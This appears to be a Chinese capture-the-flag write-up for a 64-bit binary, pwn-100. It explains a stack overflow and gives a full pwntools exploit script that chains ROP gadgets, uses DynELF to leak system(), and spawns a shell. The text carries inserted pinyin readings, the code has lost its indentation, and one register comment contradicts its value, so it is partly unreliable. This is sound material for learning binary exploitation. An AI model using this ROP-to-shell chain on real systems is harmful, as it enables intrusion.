先使用checksec查看文件屬性

RELRO會(huì)有Partial RELRO和FULL RELRO,如果開啟FULL RELRO,意味著我們無法修改got表
這里只開啟了Partial RELRO 和 NX,繞過NX的方法為ROP
NX位(No eXecute bit)是一種在CPU上實(shí)現(xiàn)的安全技術(shù),這個(gè)位將內(nèi)存頁以數(shù)據(jù)和指令兩種方式進(jìn)行了分類。被標(biāo)記為數(shù)據(jù)頁的內(nèi)存頁(如棧和堆)上的數(shù)據(jù)無法被當(dāng)成指令執(zhí)行。由于該保護(hù)方式的使用,直接向內(nèi)存中寫入shellcode執(zhí)行的方式顯然失去了作用。因此,我們就需要學(xué)習(xí)一種著名的繞過技術(shù)——ROP(Return-Oriented Programming, 返回導(dǎo)向編程)
ROP就是利用棧溢出在棧上布置一系列內(nèi)存地址,每個(gè)內(nèi)存地址對(duì)應(yīng)一個(gè)gadget,即以ret/jmp/call等指令結(jié)尾的一小段匯編指令,通過一個(gè)接一個(gè)的跳轉(zhuǎn)執(zhí)行某個(gè)功能。由于這些匯編指令本來就存在于指令區(qū),肯定可以執(zhí)行,而我們?cè)跅I蠈懭氲闹皇莾?nèi)存地址,屬于數(shù)據(jù),所以這種方式可以有效繞過NX保護(hù)
關(guān)于ROP技術(shù)
http://www.itdecent.cn/p/f3ebf8a360f0
https://www.cnblogs.com/ichunqiu/p/9288935.html
使用IDA打開程序進(jìn)行分析


關(guān)于read()函數(shù)
函數(shù)定義:ssize_t read(int fd, void * buf, size_t count);
函數(shù)說明:read()會(huì)把參數(shù)fd所指的文件傳送count 個(gè)字節(jié)到buf 指針?biāo)傅膬?nèi)存中
這里a1即是傳入的參數(shù)v1只有0x40個(gè)字節(jié),但read函數(shù)可輸入200個(gè)字節(jié)(a2傳入的值為200),因此這里存在棧溢出
再查看程序發(fā)現(xiàn)沒有可用的system()函數(shù),沒有 /bin/sh 字符串,也沒有l(wèi)ibc。但是有put()輸出函數(shù),和read()讀入函數(shù)
破解思路:
利用DynELF模塊,借助put()函數(shù)構(gòu)造ROP泄露出system()函數(shù)的地址,再借助read()函數(shù)構(gòu)造ROP想內(nèi)存寫入 /bin/sh 字符串,最后調(diào)用system("/bin/sh")獲取flag
現(xiàn)在來準(zhǔn)備一些破解需要的東西
gdb-peda$ vmmap -- 可以用來查看棧、bss段是否可以執(zhí)行
使用該命令查看可寫入 /bin/sh 字符串的地址

binsh_addr = 0x00601000
此程序?yàn)?4位前六個(gè)參數(shù)依次保存在RDI, RSI, RDX, RCX, R8 和 R9中,如果還有更多的參數(shù)的話才會(huì)保存在棧上。
put()函數(shù)的參數(shù)只有一個(gè),使用gadget1:pop rdi ; ret即可
ROPgadget --binary pwn100 --only "pop|ret" | grep rdi

使用該命令查找gadget1,gadget1_addr = 0x400763
read()函數(shù)的參數(shù)有三個(gè),我們沒有找到類似于類似于pop rdi, ret,pop rsi, ret這樣的gadgets,這里就可以使用 x64 下的通用Gadget
詳情見:
https://blog.csdn.net/qq_35519254/article/details/76531033
https://xz.aliyun.com/t/5597
只要Linux x64 的程序中調(diào)用了 libc.so,程序中就會(huì)自帶一個(gè)很好用的通用Gadget:__libc_csu_init(),程序都會(huì)有這個(gè)函數(shù)用來對(duì)libc進(jìn)行初始化操作,使用以下命令觀察這個(gè)函數(shù)
objdump -d ./pwn-100


gadget2 = 0x40075a ,該段的作用是將棧里的數(shù)據(jù)依次 pop 到 rbx,rbp,r12,r13,r14,r15
gadget3 = 0x400740 ,該段的作用是將r13,r14,r15中的數(shù)據(jù)依次復(fù)制到rdx,rsi,rdi中,這正是x64傳參的前三個(gè)寄存器,所以就可以利用這兩個(gè)gadget給read()的參數(shù)進(jìn)行賦值了
從0x400746這開始將執(zhí)行 callq *(%r12,%rbx,8)
該內(nèi)存引用方式為:
segment-override:signed-offset(base,index,scale)
adres = base adres + index * multipler base adres
所以如果bx = 0,我們就可以直接調(diào)用 r12 處的函數(shù),則bx應(yīng)該賦值為0
接著將rbx加一,然后再把rbp與rbx進(jìn)行比較,如果它們不相等就會(huì)跳轉(zhuǎn)到j(luò)ne處的地址,如果不相等就會(huì)繼續(xù)往下執(zhí)行。
__libc_csu_init()通用gadget的用法是:將rbp賦值為1,使其與rbx相等不發(fā)生跳轉(zhuǎn),再將后面的棧填充56個(gè)'\x00'(這gadget至少需要 56 個(gè)字節(jié)的棧空間),最后填上要填入返回地址即可
我們還將用到DynELF模板,需要構(gòu)造一個(gè)leak函數(shù),作為其參數(shù),基本框架如下:
DynELF是pwntools中專門用來應(yīng)對(duì)沒有l(wèi)ibc情況的漏洞利用模塊,在提供一個(gè)目標(biāo)程序任意地址內(nèi)存泄漏函數(shù)的情況下,可以解析任意加載庫的任意符號(hào)地址

puts()函數(shù)的情況不同于write()函數(shù),該函數(shù)輸出的數(shù)據(jù)長度是不受控的,只要我們輸出的信息中包含\x00截?cái)喾?,輸出就?huì)終止,且會(huì)自動(dòng)將“\n”追加到輸出字符串的末尾,需要分兩種情況處理
(1)puts輸出完后就沒有其他輸出

(2)puts輸出完后還有其他輸出

詳情見:https://www.meiwen.com.cn/subject/ksiohftx.html
exp:
#!usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
p = remote('111.198.29.45',34711)
elf = ELF("./pwn-100")
puts_addr = elf.plt['puts']
read_addr = elf.got['read']
start_addr = 0x400550 #返回地址
gadget1_addr = 0x400763 # pop rdi;ret
gadget2_addr = 0x40075A # pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15;ret
gadget3_addr = 0x400740 # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,%edi......
binsh_addr = 0x601000 #寫入/bin/sh的地址
def leak(addr):
payload = "a" * 0x48 #填充到返回地址
payload += p64(gadget1_addr)
payload += p64(addr) # rdi = addr
payload += p64(puts_addr) #ret到puts()函數(shù)的地址
payload += p64(start_addr) #puts()函數(shù)結(jié)束后的返回地址
payload = payload.ljust(200,"a") #將payload繼續(xù)填充到200個(gè)字符,否則程序不會(huì)進(jìn)行下一步
p.send(payload)
p.recvuntil("bye~\n") #一定在puts()前釋放完輸出,puts()輸出時(shí)自動(dòng)在后面加上/n
up = ""
content = ""
count = 0
while True:
c = p.recv(numb = 1, timeout = 0.5)
#由于接受完標(biāo)志字符串結(jié)束的回車符/n后,就沒有其他輸出了,故先等待0.5秒中,如果確實(shí)接受不到了,就說明輸出結(jié)束了
#以便與不是標(biāo)準(zhǔn)字符串結(jié)束的回車符(0x0A)混淆,這也利用了recv函數(shù)的timeout參數(shù),即當(dāng)timeout結(jié)束后仍得不到輸出,則直接返回空字符串""
count += 1
if up == '\n' and c == "": #接收到的上一個(gè)字符為回車符,而當(dāng)前接收不到新字符,則
content = content[:-1] + '\x00' #去除puts函數(shù)輸出的末尾回車字符
break
else:
content += c
up = c
content = content[:4]
return content
d = DynELF(leak, elf = elf)
system_addr = d.lookup('system','libc')
#調(diào)用read()函數(shù)
payload = 'a' *0x48
payload += p64(gadget2_addr)
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1
payload += p64(read_addr) # r12 = read_addr
payload += p64(8) # r13 = 8,count;讀入8個(gè)字節(jié)
payload += p64(binsh_addr) # r14 = binsh_addr,* buf = binsh_adr;讀入到binsh所指的內(nèi)存中去
payload += p64(1) # r15 = 0,fd = 0;標(biāo)準(zhǔn)輸入
payload += p64(gadget3_addr)
payload += '\x00' * 56
payload += p64(start_addr)
payload = payload.ljust(200,'b')
#輸入/bin/sh
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")
#調(diào)用system()函數(shù)
payload = 'a' * 0x48
payload += p64(gadget1_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200,'b')
p.send(payload)
p.interactive()
補(bǔ)充:
ljust()方法語法:
str.ljust(width[, fillchar])
width -- 指定字符串長度
fillchar -- 填充字符,默認(rèn)為空格
返回一個(gè)原字符串左對(duì)齊,并使用空格填充至指定長度的新字符串。如果指定的長度小于原字符串的長度則返回原字符串
要注意的是,通過DynELF模塊只能獲取到system()在內(nèi)存中的地址,但無法獲取字符串“/bin/sh”在內(nèi)存中的地址。所以我們?cè)趐ayload中需要調(diào)用read()將“/bin/sh”這字符串寫入到程序的.bss段中。.bss段是用來保存全局變量的值的,地址固定,并且可以讀可寫